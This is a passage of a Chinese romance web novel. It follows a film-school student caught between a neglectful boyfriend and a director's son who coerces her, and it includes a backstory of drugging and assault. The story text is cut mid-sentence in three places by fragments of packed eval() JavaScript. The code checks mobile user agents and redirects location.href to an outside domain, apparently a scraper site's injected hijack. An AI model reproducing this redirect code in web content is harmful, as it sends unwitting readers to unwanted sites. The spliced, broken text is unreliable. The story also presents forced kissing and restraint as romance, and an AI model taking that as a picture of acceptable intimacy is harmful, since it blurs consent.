0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420366|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起吃饭,他接到他部门学姐的电话就走,咱勉强当他是个暖男,爱乐于助人,那这次呢?” “喜欢你又舍不得其他女生的追捧,他是想当皇帝坐拥三宫六院怎么着?” 阻拦无果,孔佳茉越过何皎皎,上前牵着温纾莱回到她座位坐好,劝说:“莱莱,你条件这么好,在余泽帆那棵树上吊死不值当的。” 孙星彤:“对啊,莱莱你好好想想,及时止损。” 温纾莱心里一暖,何皎皎的严辞令色,孔佳茉、孙星彤的语重心长都是为她好。 “我会好好考虑的,你们别担心。” 以往她都只说“没事,你们别担心”,现在换成她会考虑,何皎皎三人相觑一眼,面上一喜。 听进去就好,温纾莱要还执迷不悟下去,何皎皎都想绑她去寺庙里驱邪,怕她是被余泽帆下了降头。 - 第二日周末,按例温纾莱是要去宗昂公寓接着改剧本,但她昨晚洗漱完收到温屿年的微信,说他刚下飞机回了北京,叫她明天回家吃饭。 兄妹俩有一个多月没见,温屿年一直在横店拍戏,出了这个剧组就进那个剧组,今年过年他都是在剧组过的。 当然是哥哥重要,宗昂也好余泽帆也好,谁都比不得温屿年。 温纾莱睡前定好八点钟的闹钟,起床后简单收拾一番就出门,她先去了趟超市采购,温屿年这次至少会在北京住一周,冰箱里得预备些吃食。 大清早超市刚营业不久,结账都不用排队。 温屿年租住的公寓在东四环,温纾莱打车到那儿,十点出头。 路上她已经跟宗昂说好今天有事,周二下午她再去。 温纾莱有温屿年公寓的钥匙,但温屿年在家,她不会贸然用钥匙闯入。 敲了两下门,温屿年冷着一张脸来开门。 温屿年演技不俗,拍戏时情绪饱满表情生动,下戏后妥妥一个冷面瘫。 温纾莱在门口上上下下X光一样扫描他两三圈:“瘦了。” 温屿年不发一言,接过她两只手里提着的大包小包转身往屋里走。 温纾莱在鞋柜里找出拖鞋换上,小尾巴似的缀在温屿年身后。 温屿年是温纾莱的表哥,温纾莱七岁那年父母相继去世,她被接到舅舅家生活,从那以后兄妹相处十多年,感情甚笃。 温纾莱体谅温屿年刚结束一段忙碌的工作,想着大展身手给他做一顿大餐补补,袖子才撸起来便被温屿年赶出厨房,让她别添乱。 温纾莱不服气,连闯三次厨房均以失败告终,她遂放弃。 温纾莱知道温屿年不是嫌她捣乱,是心疼她,不舍得她做饭。 温屿年比温纾莱大三岁,温纾莱上高一时温屿年就来北京读书了,在电影学院读表演专业,他星途还算顺利,大一那年被经纪人签走正式开启演艺生涯。 这些年他半工半读很少回老家,兄妹俩聚少离多,难得一见,温纾莱就喜欢粘着温屿年。 他不让她干活,她也得在厨房陪他。 温屿年从冰箱里拿出一盒糖渍番茄递给温纾莱,他昨晚回公寓,楼下水果店还开着,他就买了点小番茄回家做,等温纾莱过来吃。 温屿年话少,温纾莱就多说点。 问温屿年这次在剧组有哪些心得、这部剧制作周期要多久、有没有遇到糟心事吧啦吧啦之类的。 温屿年一一解答妹妹的问题,温纾莱消停了,他再反问她最近怎么样。 “挺好的呀。”温纾莱吃了小半盒糖渍番茄就停嘴,留着肚子吃饭。 温屿年切着菜,“跟余泽帆呢?” 温纾莱几不可察一顿,糊弄道:“也还可以呀。” 感情这码事,温屿年作为哥哥不好插手太多,只叮嘱:“不喜欢就分手,别委屈自己。” 7. 第 7 章 兄妹俩吃完午饭,下午盘坐在客厅地毯,一人一个手柄打游戏。 温纾莱功利心不强,打游戏只为消遣,温屿年寡言少语,别人打游戏赢了欢呼输了咒骂,他们两个输赢都一个模样,反应平平。 四点多钟左右,温屿年接到经纪人电话,有个临时工作,要去拍摄一组杂志照片,车还有五分钟到他楼下。 杂志拍摄地点会途径电影学院,顺路送温纾莱回学校。 温屿年的经纪人是个男人,留着鲻鱼长发,瘦高瘦高,很有上世纪九十年代摇滚歌手那种复古流浪的气质。 一上车,温纾莱礼貌喊人:“阿咻哥。” 阿咻抽筋剔骨一般半躺在保姆车座里刷手机,扭着腰身,手伸进衣服里姿势怪异地挠着痒痒。一听这道女声,猛坐直:“妹妹也来啦,快上车快上车。” 腹诽温屿年不会做事,不事先通知,他差一点就要脱衣服了。 阿咻自动坐到最后一排,中间座腾给温纾莱,以便她一会儿下车。 阿咻比温屿年还要大个四五岁,温屿年是他签约的第一个艺人,两人是同事,也是共患难的朋友。 温纾莱这个妹妹,阿咻当自己妹妹喜欢,他话比温屿年多得多。 “妹啊,你可是太给你哥我俩长脸了,昨儿在机场遇到宗穆川他助理了,要了我的联系方式,还说宗导很看好你哥。” 温纾莱喜上眉梢:“真的?” 阿咻“嘿”一声,拍着自个儿大腿:“自家人,我跟你吹什么牛。” 温纾莱懵懵懂懂:“不过跟我有什么关系?” “咋没关系,关系大了!”阿咻一顿猛夸温纾莱:“你之前给你哥拍剪的那段个人宣传视频就是一活名片,还有这回要不你在宗穆川剧组实习,他哪能想起我们来,他助理都说宗穆川是因为你才想起之前收到了你哥的宣传片,这才有了这次的机会。” 温纾莱不太会回应旁人的赞美,腼腆地笑笑,旋即嗔怪温屿年。 这么个好消息,他愣是不说半字。 温屿年无奈:“只是留了电话,没别的。” 阿咻:“他宗穆川什么人,会平白无故夸你?他助理上一个主动要电话的人现在已经是影后了,这又没有外人,你谦虚个屁!” 温纾莱不无哀怨,同阿咻一起批斗温屿年:“你早说的话我们就能出去好好庆祝了。” 温纾莱严以律己,不会在自己的事情上不会沾沾自喜,取得一丝成就便飘飘然。轮到温屿年,他一分一毫的进步都值得她大张旗鼓。 温屿年搞不懂,只是要个电话温纾莱和阿咻有什么好激动的,即便看好他,等他真进宗穆川的剧组再庆祝也不迟。 温屿年是个犟种,温纾莱和阿咻加一起都拗不过他,后续就没再聊宗穆川,说起圈内最近的事儿。 温纾莱还挺爱听八卦的,她嘴巴严,都是竖起耳朵当听众,从不议论。 娱乐圈是公认的乱,各种奇葩事件层出不穷,能给她提供不少写作灵感。 她侧坐着,上半身钻进两张座椅间,和阿咻交头接耳。 阿咻岔开腿半俯身,眉飞色舞:“张秉昨儿嫖.娼被抓了。” 这个名字…… 温纾莱置于腿上的手倏尔攥紧。 她并非对下药一事全无线索,她寒假时被教授带进宗穆川的剧组学习兼职,张秉常常对她献殷勤。 张秉这个人在圈内风评极差,经他投资影视作品里的女演员或多或少都被他占过便宜,甚至得逞。 他有资金、有背景,被他盯上的女演员要么被睡要么被封杀,曾经有个十八线小艺人不愿屈服,在网上检举揭发过他、报过警,最后只沦落到一个撤销案件,查无此人的下场。 剧组杀青宴那晚,张秉支走教授,找各种理由灌她酒,她越喝越难受,生理性心慌,身体发热。 算是她运气好,她发觉不对劲后就有人叫张秉去谈事情,她得以寻到脱身的机会。 跑出包厢,她打不通余泽帆的电话,然后再碰到的宗昂。 温纾莱第一次在剧组见到宗昂,他待人接物礼貌谦逊,力所能及内都会帮别人一把,帮摄像老师搬设备、给大家跑腿订外卖等等,场务小姐姐还夸过他是暖心小天使。 见到宗昂,温纾莱是踏实的。她拜托宗昂送她去医院,话一说完她就栽进他怀里。 后续,后续就是宗昂没有带她去医院,他换了种方法出手相助。宗昂雪上加霜,催.情.药发作,她也是纠缠不休,造成一晚混乱。 温纾莱清醒后不是没想过去调查,但调查完之后她又该怎么办?也去报警或是上网求助? 张秉是宗穆川电影的投资人,东窗事发后,宗穆川为保电影势必会站张秉。 蚍蜉撼动不了大树。 她能豁出去,温屿年不行,他热爱表演,一个两三分钟的小角色他都能写出满满两页纸的人物分析,她可以不管她的事业,却不能不顾温屿年。 这也是她事发之后选择隐瞒的主要原因。 她惦记温屿年,温屿年同样挂心她,照他护短的性格,一旦得知温纾莱的遭遇,绝对会去找张秉拼命。 所以她将那件事深埋在心底,当作从未发生,不去查不去碰,不清楚真相就不会执着,交给时间冲刷掉。 实在钻牛角尖就苦中作乐安慰自己,至少宗昂长得比张秉要帅得多,身材也好。 如今他恶有恶报,温纾莱堵着的那口郁气也能散了。 娱乐圈肮脏事一抓一大把,阿咻屡见不鲜,咂巴两嘴:“他嫖不是一次两次了,这回也不知道是得罪谁了。” …… …… 到了晚上,知名制片人因嫖.娼被抓一事登上热搜。 张秉一个幕后投资人,按例说不如公众人物犯事的关注度高,他这事儿之所以有那么大的热度是因为他还有诱.奸未成年的历史旧罪。 还有几个已经退圈的女艺人都发帖爆料曾遭受过张秉的欺辱,轮番讨伐下,#张秉#二字登顶热搜第一。 牵一发而动全身,张秉一人作恶引发起一系列蝴蝶效应。 首当其冲的是宗穆川前不久杀青的那部电影,张秉是投资人。 宗穆川背景雄厚,他的电影从来都是他为最大资方,防止有人塞些莫名其妙的人进来搅乱一锅粥。 电影投资,张秉只占个小头。 张秉一上热搜,宗穆川的工作室也发布了声明,撤销张秉的投资。 靠着这件不光彩的事情,宗穆川那部电影未播先博得一批热度。 宿舍里都在谈论这码事,其他网友充当个看客,看完这条热搜转眼就忘了,电影学院这批娱乐圈预备役们可就全是真情实感的在骂。 何皎皎翻着评论区义愤填膺:“我知道娱乐圈没几个好东西,但都娱乐圈了,能不能卡卡颜啊,长成那样谁乐意跟他啊。” 孙星彤:“听你这意思,那要金主长得好看你就乐意跟了?” 何皎皎:“只要金主长得好看,甭他来找我,我自个儿就颠颠送上门了。” 孔佳茉家里颇有背景,她随长辈出席宴会见过张秉几次,次次见面,他身边的女伴都不一样,也听说过他的一些事迹。 “我还挺好奇他惹到谁了,踢到这么硬的铁板,底裤都该被人抖擞没了。” 温纾莱不参与这次的宿舍闲聊小会,她枕着胳膊趴在书桌上,心不在焉地刷着视频。 张秉入狱板上钉钉,下药一事能告一段落。 只是还有个宗昂…… 啊…… 好烦。 * 周一,满课。 温纾莱辗转于各个教室,开始新一周的生活。 周二下午温纾莱没课,她上午问宗昂下午方不方便过去,宗昂简单回了一个嗯。 她又一笔收入到账,中午请舍友们去校外小吃一顿,吃完饭出发去宗昂的公寓。 荟郡壹号在东城区,距故宫大约一点多公里,得天独厚的地段彰显着住户们非富即贵的身份。 二号线地铁直达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420367|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温纾莱按照宗昂发来的详细门牌号找到他公寓,摁两下门铃,习惯性半垂下眼帘等待。 好半晌,紧闭的入户门从里面推开。 宗昂套着一身灰色运动衣,连帽扣在头上,几撮卷毛凌乱地飞舞出来,卫衣外套敞着怀,里面什么都没穿,锁骨处的纹身若隐若现,腹肌沟壑分明,裤子松松垮垮挂在他劲瘦的腰腹处,露出一截印着串英文的内裤腰带。 痞懒又色气。 温纾莱甫一见到这么火热的画面,嚯一下惊愕扬起脸。 宗昂神色倦怠,嗓音沉闷:“进来吧。” 说完,他不等温纾莱,先折身往里走。 态度冷冷淡淡。 温纾莱即将脱口而出的那句“你怎么不穿衣服”硬生生憋回去。 巴克晃着尾巴蹭过宗昂来迎接她。 温纾莱在玄关鞋柜边踩上一次性鞋套,悄咪咪摸摸巴克。 前方快走进主卧的宗昂站定脚步,稍微侧了侧身:“剧本就在桌面,你自便。” 宽大的帽子遮住他整张脸,高挺的鼻子优越展现。他虚拢着拳头抵在唇边闷咳两声。 …… …… 温纾莱一人在书房润色着剧本,巴克陪她待了一会儿就跑开了,不知道去了哪儿。 反正在这公寓里,巴克是主她是客,她不用担忧巴克会出事。 又改好一页,巴克从半掩的书房门缝里又溜进来,咬住温纾莱的裤腿把她往外扯。 “怎么了?”她茫然问。 巴克又不会说人话,一人一狗无法沟通。 温纾莱站离座椅,顺着巴克的力道随它走到主卧门前。 主卧门半开,遮光窗帘全拉,卧室里包裹得密不透光,客厅的自然光争先恐后挤进去,隐约照出床上蜷缩的身体。 巴克跑到床边,一转头见温纾莱还杵在门外,它又跑回温纾莱身后,拱着她进去。 “我不去……”温纾莱小声制止巴克:“巴克你别咬我袖子!” 巴克体重比温纾莱还要重二十多斤,她扛不住巴克的生拉硬拽,迫不得已被它推到床边。 它还聪明地用爪子拨开床头灯,好有灵性的一条狗。 离得近了,床头柔光帮衬下,温纾莱看清宗昂的现状。 他半边脸陷进枕头里,被子拉高到下巴,另外半张脸颊红晕丛生。 巴克用脑袋顶着温纾莱的手,再用鼻子去戳宗昂的额头。 温纾莱不必上手摸,看也能看出来宗昂是在发烧。 巴克嗷嗷叫唤,温纾莱拍拍它脑瓜顶示意它稍安勿躁,床上熟睡的人被它这一嗓吼得缓缓蹙眉。 宗昂不耐烦地掀开沉重眼皮,正要骂巴克,依稀辨认出床边那道人影,来了点精神:“找我?” “巴克叫我过来的。”温纾莱借着站姿优势俯视宗昂,可她不稀罕享受这种居高临下之感,“你醒了就好,没事的话我先走了。” 她垂放在腿边的手一热,宗昂捏住她无名指和小拇指,窸窸窣窣被褥摩擦的响动,宗昂坐起来,将她向后一扯。 温纾莱眼前一晃,人跌在床上,腰间横穿过一条手臂。 公寓里暖气充足,她脱了外套,后背贴着宗昂赤裸的胸膛,一件针织打底衫阻隔不掉他的炙热。 她惊呼:“宗昂!” 宗昂埋入她发间,嗅着她的气息:“你叫我名字叫的好好听。” 她嗓音清丽,不止叫他名字好听,禁不住他索取叫.床低吟的时候更好听。 温纾莱慌乱地去掰他禁锢着她的手:“你答应过我不会强迫我的!” 他手臂遒劲有力,淡青色的血管凸起搏动,左胸盘旋着一条断裂的黑蛇纹身,延伸至锁骨,蛇口大张,毒牙尖锐,吐着蛇信子。 宗昂鼻尖轻轻蹭着她后颈,答非所问:“我饿了。” 温纾莱脑子转不过弯来,急于摆脱他,忙说:“我去给你做行了吧!” 宗昂闷笑出声,抱紧了她一下就松开,夸道:“你好可爱。” 8. 第 8 章 粥在灶上咕嘟着,宗昂公寓冰箱里没有几样像样的食材,多是酒类饮品,温纾莱挑挑拣拣,用生菜、虾仁凑合地熬了一小锅蔬菜粥。 她站在厨房里守着,随身携带的手机嗡嗡震颤。 宿舍群里毫无征兆聊得热火朝天。 起因是何皎皎今天又泡在台球厅,从卫生间出来在拐角视野盲区撞到了一个小帅,在群里大肆宣扬她遇到了人生挚爱。 彤彤:「这就是传说中的转角遇到爱?」 茉茉:「何姐威武,开学还不到一个月已经换了四个人生挚爱了。」 温纾莱发送一个探头探脑的表情包,表示她也在现场。 皎皎:「姐妹们,相信我,这次这个真的不一样!」 「不信你们看照片。」 温纾莱的网速卡顿一秒,照片加载完毕,她放大点开。 眉清目秀的一个男生,是何皎皎喜欢的类型。 彤彤:「咱就是说,这个跟上一个长得有区别吗?」 茉茉:「要不怎么说人生挚爱呢,反复多次最终都会爱上。」 皎皎:「懒得跟你们这种无知的人交流。」 「莱莱呢,我们乖莱说话才最有权威性。」 茉茉:「你这完全没有参考性,莱莱那个捧场王什么时候说过不好?」 皎皎:「就是因为她捧场我才问她啊,你们两个的臭嘴熏死个人!」 彤彤:「来了来了,1226一周一度的吵嘴秀正式播出!」 温纾莱不喜欢线上聊天那种冷冰冰的文字,害怕自己情绪传达不到位对方会误解,她发出去的每一条文字消息后都会有一个表情补充说明。 她囤了很多适用于大部分场景的表情包,此情此景该用一个「搬好小板凳」的表情包来附和。 宗昂在浴室洗了把脸,凉水一冲,精神好了些。 他走到厨房门口,脚步一停。 温纾莱今天穿一件宽松圆领米色针织衫,腰间系一条棕色细腰带,搭配一条白色半身裙,鱼骨袜堆叠在脚踝,扎着低马尾,婉约清秀。 夕阳自左边窗户里照进房间。 她站在落日余晖中,碎发贴合在脸颊,低着头看手机,纤细脖颈弯出诱人的弧度,嘴角微微扬起笑容。 占为己有的念头产生只在一瞬间。 他突然就不喜欢欣赏温纾莱夹在他和余泽帆中间左右为难的困境中一再冲破道德底线的模样了,余泽帆算个什么鸟,配跟他平起平坐拥有同一个人? 宗昂走近她。 温纾莱听到脚步声,循声侧过脸,笑容褪去:“粥马上就好了,你去外面坐一会儿吧。” 她话说到一半,宗昂就已然到她面前,她最后一个字音落定,宗昂关了火。 他笑着:“怎么办,我好像不太想遵守规则了。” 温纾莱后退一步,宗昂紧追不舍,再次熟练地搂住她的腰,唇强势地压下去。 他一手揽腰一手按在她后颈,迫使她仰头承受。 不知道他又发什么疯,温纾莱的推搡对他不起任何作用,宗昂高她二十多公分,她一米六五的个头在他那里完全不够看,两人身形也差距过大。 宗昂将她困到角落,如果有第三人在场,根本看不到温纾莱,她被宗昂挡得严严实实。 他拥得紧,吻得深。 温纾莱逮到他舌尖又要咬,宗昂有所预防,提前撤出她口腔,含着她唇瓣狠狠嘬.吮。 圈在她腰间的手移到她臀下,托抱起她放在大理石台面上,滚烫的唇.舌沿着她锁骨还有再往下探索的趋势。 温纾莱手往后摸,胡乱抓到个东西就要砸向宗昂。 宗昂阖掩的眼皮撩开,敏捷地控住她那只拿着瓷碗的手。 “这么凶的吗?” 温纾莱半敛着眼眸,睫毛轻颤,嗓子干涩:“你说过的,你食言了。” 他食言了,那么她就要终止合作了。 “可以呀。”宗昂弓着腰,双手撑在她身体两侧:“但你也要做好继续被我纠缠的准备。” 温纾莱帮他改剧本他掀翻了他承诺的保证,温纾莱不帮他改剧本他依旧不会放过她。 无论她怎么选,都逃离不出宗昂为所欲为的圈占。 温纾莱进退维谷,郁气难舒:“你到底想要怎么样!” 宗昂亲密的与她额头相抵:“我帮你出了口恶气,要点报酬不过分吧?” 温纾莱弯眉拧紧:“什么意思?” “张秉干那么多事儿直到今天才被抓。”宗昂轻摇着头,碾开她皱巴巴的眉心:“你以为他怎么进去的?” 阿咻、孔佳茉都纳闷过背后整张秉的人是谁,温纾莱听着,从未细想,就算她琢磨过也不会联系到宗昂。 他们是有过一夜痴缠,那一夜还不足以宗昂替她打抱不平。 可事实是,宗昂是那个幕后操盘手。 温纾莱下意识想问宗昂是怎么办到的,话到嘴边,她已经有了答案。 她在剧组时,见惯张秉对别人颐指气使对宗穆川毕恭毕敬,他逼得那么多女艺人退圈,宗昂碾死他却像碾死蚂蚁一样简单。 而她更是毫无还手之力。 明白过来这一点,温纾莱如坠冰窖。 始作俑者还在柔情蜜意地炫耀着,“怎么样,我是不是很厉害?” 宗昂笑得纯真:“是不是配得到一个奖励?” 温纾莱没说话,指甲紧抠着掌心。 宗昂想要一个由温纾莱主动且真心实意的亲吻,耐着性子等她。 三月的春日,天暗的仍然早,红霞隐没在天际,厨房光线昏昧,气氛静到落针可闻。 许久,温纾莱出声:“宗昂。” “嗯?” “你说过,你觉得我有男朋友很刺激,你喜欢这种刺激。”温纾莱一字一顿,极缓慢地抬起眼,与他对视:“那是不是我分手了,你就能放过我?” 宗昂挑了挑眉,没料到她会做出这个决定:“大概不能了。” “毕竟呢——” 他又弯下点腰,双臂环抱住温纾莱,脑袋埋进她肩窝,在她颈侧亲了亲:“我现在感兴趣的是你这个人。” “但是我挺赞同你分手的,因为我不能接受跟别人分享你了。” - 晚上八点多钟,温纾莱无精打采地回到学校。 宗昂后续没再做出什么逾矩行为,他又点了些外卖,按照温纾莱这个湘妹子的口味。那些饭菜他一口没动,只吃温纾莱专门给他做的病号粥。 温纾莱丁点胃口都没有,吃不下,宗昂要喂她,她才动筷子。 吃完饭,宗昂又拽她一起下楼遛狗。 不管是狗,还是人,温纾莱都硬刚不过。 送狗到家后,宗昂开车再送温纾莱回校。车子停在校门口下一条街的老地方。 温纾莱揣着口袋,垂着脑袋,踢着路边石子。 天气日渐回暖,出校的学生渐多。 大学是一个脱离家庭束缚,生活全由自己掌控的阶段,十八九岁的年纪朝气蓬勃,精力旺盛,这个点钟多是打扮得光鲜亮丽的男男女女结伴去工体、后海寻欢作乐。 学校每周二、四晚定时查寝,不过上有政策下有对策,在互帮互助群里发个公告花十几块钱找人代一下就能蒙混过关,只要想玩,千难万阻都是洒洒水。 衣着光鲜的一群人奔赴着专属他们的夜生活,循规蹈矩的温纾莱与他们错身而过,浓郁的香水味道盈满她鼻腔。 “孔佳良也来?诶,那能不能让他把他那朋友叫上啊。” “哪个朋友?” “还哪个,就那混血帅哥啊。” “你不加微信了吗,自个儿叫呗。” “什么微信呀,甭提了,我申请了四五次愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420368|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通过,今儿叫他出来我当面勾引!” 听到关键词,温纾莱回头瞅了眼那群人。 说要“勾引”宗昂的那个女生穿着一条盖过腿根的紫色短裙,上身披着一件短貂外套,波浪卷发流苏大耳链。 恰好认得。 是大三表演系系花莫念琪,风情万种的大美人。 论容貌,宗昂和莫念琪站一块任谁都得说一句般配。 论性格,宗昂乖张叛逆,恣意张扬,莫念琪大大咧咧八面玲珑,男女堆里她都玩得开。 论家世,宗昂有个名导的爸,莫念琪有个影帝的爸,都是星二代。 他们两个合该是一个世界里的人。 温纾莱自认性格木讷无趣,宗昂怎么就偏偏抓着她不放。 回宿舍的途中经过一片小花园,踢了一路的石子一个没收力,滚进灌木丛里,金边黄杨长出鲜嫩绿芽,生机盎然。 温纾莱烦闷地糊了无辜的金边黄杨一巴掌出气。 花园中间有一座凉亭,作用鸡肋,石板凳子秋冬坐着冰凉,春夏蚊虫又多,只有个观赏性。 温纾莱拐进去坐下,周围没有灯光,她孤身躲在黑暗中,望着十几米外灯火通明的宿舍楼,给余泽帆拨去一个电话。 嘟嘟了好几声,忙音绕耳,自动挂断前堪堪接通。 “喂?”一个陌生女人:“温纾莱是吧,我是田若心,余泽帆现在不方便接电话,你等下再打吧。” 夜晚九点、异性、听筒那端淅淅沥沥的暧昧水声。 种种因素综合在一起—— 一道男声朦胧收纳进听筒里:“谁让你接我电话的……给我……” 两三声噪音后,手机交接到余泽帆手中:“老婆?” 温纾莱听到那边逐渐变嘈杂的背景音,“你还在外面玩吗?” “吃饭呢,下午下课张峰叫我出来打球,你又不在学校我就答应了,打完一块吃烧烤来了,一会儿就回了。” 余泽帆事无巨细地禀报一遍行程,然后解释:“刚才我去厕所来着,烧烤店人杂你也知道,田若心见我去顺便跟来了,我今天穿的外套口袋浅,拜托她帮我拿了下手机。” 温纾莱无意识摆弄着毛呢大衣的牛角扣,“她还喜欢你吗?” 余泽帆“啊”了一声:“不知道啊,她没说……我也没问过。” “你朋友不少吧。”温纾莱困惑问:“为什么还要和一个可能还喜欢你的女生一起玩?” 她真的不懂。 她也有男生追,可她从来不会跟那些男生处成朋友,明确拒绝后就不会再有下文。 除了宗昂那个污点…… “只是交个朋友而已,你别这么小气嘛。”余泽帆最擅长倒打一耙:“还是说老婆你不信任我,你要不喜欢我就不跟她来往了。” 温纾莱打这通电话的本意不是兴师问罪,她一个背叛者也没资格审判余泽帆。 余泽帆不算是个合格的男朋友,但她有错在先,是她对不起他,她现在的关系网太过混乱不堪,势必要做出个抉择。 不能再耽误余泽帆。 “余泽帆,我们——” “老婆你别叫我大名啊,我害怕。”余泽帆掐科打诨:“诶对了,还有个好消息没告诉你呢,我妈今天给我打电话说她升主任了,以后有她罩着舅妈,原来那主任被调走了,再不会有人给舅妈穿小鞋了。” …… …… 烧烤店外的小巷里。 通话结束,余泽帆松一口气。 他靠在墙上,从烟盒里抖出一根烟咬着。 田若心做着美甲的手摸进他裤子口袋里,指尖似有若无地划过他大腿,掏出打火机帮他点烟。 她一直都在,全程旁听余泽帆和温纾莱煲电话粥。 余泽帆吸了一口烟,吐到她脸上,沉声警告:“我说了,别去招惹温纾莱。” 9. 第 9 章 温纾莱一有心事就容易失眠,昨晚躺到床上辗转到后半夜,半梦半醒着浅眠一觉,早上七点钟睁开眼,浑身乏力又昏沉。 她用掌根搓搓眼睛,掀开被子下床。套上搭在椅背的那件大衣,温纾莱撩起窗帘推开外阳台门,还不到舅妈出门上班的时间,她给舅妈打去个电话。 舅妈每次接电话的速度都很快,忙音想到第三声,通了。 “妹崽,啷个嘞?”舅妈马燕珍那边有“滋滋”类似煎鸡蛋的声音,她讲得是方言,妹崽是筑城称呼女儿的土话,啷个嘞意思是怎么了。 阳台里没有暖气,墙壁、窗户都透着一股寒凉,温纾莱拢紧外套,踮起脚尖又落下,循环往复,像个不倒翁。 “舅妈,我上一个剧本的稿费下来了,钱我存到家里那张卡里了,你和舅舅别不舍得花。” 这话说也是白说。舅舅舅妈节省惯了,即使她和哥哥现在都能赚钱,家里不会再为钱发愁,舅妈还是一年四季风雨无阻的去上班,钱寄回家里他们就都攒起来,他们常说那钱花在他们身上就是浪费,存进银行还能得点利息。 “好好,晓得咯。“马燕珍忙忙碌碌地催促:“还有别的事噻?没事我挂了。” 听筒里是挥动锅铲的乒乓声,估计舅妈又在热昨晚的剩菜凑合一顿早饭。 马燕珍嘟囔着:“大早上打什么电话来嘛,我又要做饭又要上班的,忙都忙死了。” 北京不如南方空气湿润,冬天屋里暖气充足,温纾莱在北京读两年书都还未彻底适应这边的气候。 她早上都会先喝一杯温水润喉,今天下床就打电话,嗓子干得慌,她嗓音发涩:“舅妈,我听余泽帆说他妈妈升职了是吗?” “诶呀是呀。”马燕珍热好早饭,关掉抽油烟机和燃气灶,杂音消失,她说话声变得清楚:“他妈妈升了主任,工资翻了一倍呢,你可得和泽帆好好的,不能便宜了别人,我和他妈都商量好了,再过两年你们一毕业就结婚。” “厂子里都知道我们两个要好,她一升职连带着我也舒服了。” 温纾莱的大衣长度只盖过膝盖,单薄的睡裤抵御不住四周的寒气,她冻得跺跺脚,懊恼忘记了穿袜子。 听着舅妈的絮叨,她无声地瘪瘪嘴。 …… …… 孔佳茉睡着睡着觉,忽感怪异,身体的生理反应唤醒她,她眯瞪着爬下床,从柜子里翻出卫生巾要冲向卫生间。 一扭身看到斜对角像块雕塑呆坐在椅子上的那道人影,她一个激灵,瞌睡全吓没了。 她缓步走过去,戳了戳温纾莱肩膀:“莱莱?” 温纾莱偏过脸:“啊?” 她明显还在神游,眨了下眼睛才认出孔佳茉:“你醒啦。” “怎么傻呆傻呆的。”孔佳茉笑她:“你一人坐这儿干嘛呢?” “我刚在想事情。” 温纾莱在外面待太久,鼻尖冻得红彤彤。 孔佳茉看出端倪,屈起两指去捏温纾莱的脸,触手冰凉,一惊:“你脸怎么这么凉?” “刚起来去阳台给我舅妈打了个电话。” “你就在屋里打呗,我们都睡这么死。” 温纾莱摇头:“那不行。” 她来北京读大学,最幸运的事就是遇到一群好舍友。她是走读生,初高中没少听到过住宿生们抱怨群居生活的烦扰琐事,高考完她就在忧心该怎样和舍友们和谐共处,同住的这一年多是她杞人忧天的最佳证明。 她们每个人有不同的作息,幸好都愿意互相迁就。 温纾莱很在意这群朋友,思及此,她轻声叫孔佳茉:“茉茉。” 孔佳茉看出她的欲言又止,收回就要迈出去的腿:“在呢。” “如果,”温纾莱局促地绞起手指,音量一再降低:“如果我不会和余泽帆分手,你们会不会对我失望?” 孔佳茉想问为什么不会分手,但这个问题或许会给温纾莱带去压力,她用极短的时间组织了一下语言:“莱莱,你要记住我们是朋友,朋友就是永远都会站在你这一边,你做什么样的决定我们都不会对你失望,只要你不后悔就好。” “我们劝你分手不是要左右你的选择,是觉得他配不上你,你不用背负我们的期待,我们对你最大的期待就是希望你能快乐。” 父母去世以后,温纾莱就活在了紧绷的状态里,她畏首畏尾,放弃了自己所有的喜好去迎合身边每一个人的要求,唯恐她一个做不好就会被抛弃。 还是第一次有人告诉她,她们对她的期待只有要她快乐。 温屿年也很多次叫她不要委屈自己,可哥哥性格太冷,说不出孔佳茉这种戳人心窝的话语。 温纾莱眼眶一红,小声说:“谢谢你,茉茉。” 孔佳茉揉揉她的头发:“没事呀,这有什么好谢的。” 一个人的性格可以窥见其生长环境,温纾莱内敛乖巧,各专业老师布置的作业她总是最快最好的完成,朋友找她帮忙她无有不应且竭尽全力,实在超出她能力范围,她会因为解决不了朋友的困境而沮丧忐忑。 她是老师们眼中成绩优异的好学生,是朋友们心中最可靠的存在。 虽然温纾莱一字不提,但孔佳茉她们都能猜到她肩上在扛着她们无法感同身受的压力与责任。 她不说她们就不问,她们只知道她们是朋友,理应做她的盔甲,保护她的脆弱与敏感。 孔佳茉又捏把她脸,摸着热乎起来,她放了心:“好了我要去卫生间了,再磨蹭下去何皎皎起来该跟我抢了。” 早八的闹铃应景响起,孔佳茉奔进卫生间锁门,孙星彤赖床不起,何皎皎三两下爬下床跑去卫生间拍门。 温纾莱整理好情绪,去内阳台洗漱。 上午是戏剧概论的课,专业老师以严格出名,她们不敢耽搁,全都收拾好后拎包下楼。 一出宿舍楼,看到等在花坛边的余泽帆,四人皆是一怔。 余泽帆时刻瞄着宿舍门口,见到温纾莱,快步上前:“老婆!” 他两只手里分别提着一份、三份早餐,将那三份早餐递给孔佳茉她们:“我特意早起给你们买的,谢谢你们平日里对我老婆的照顾。” 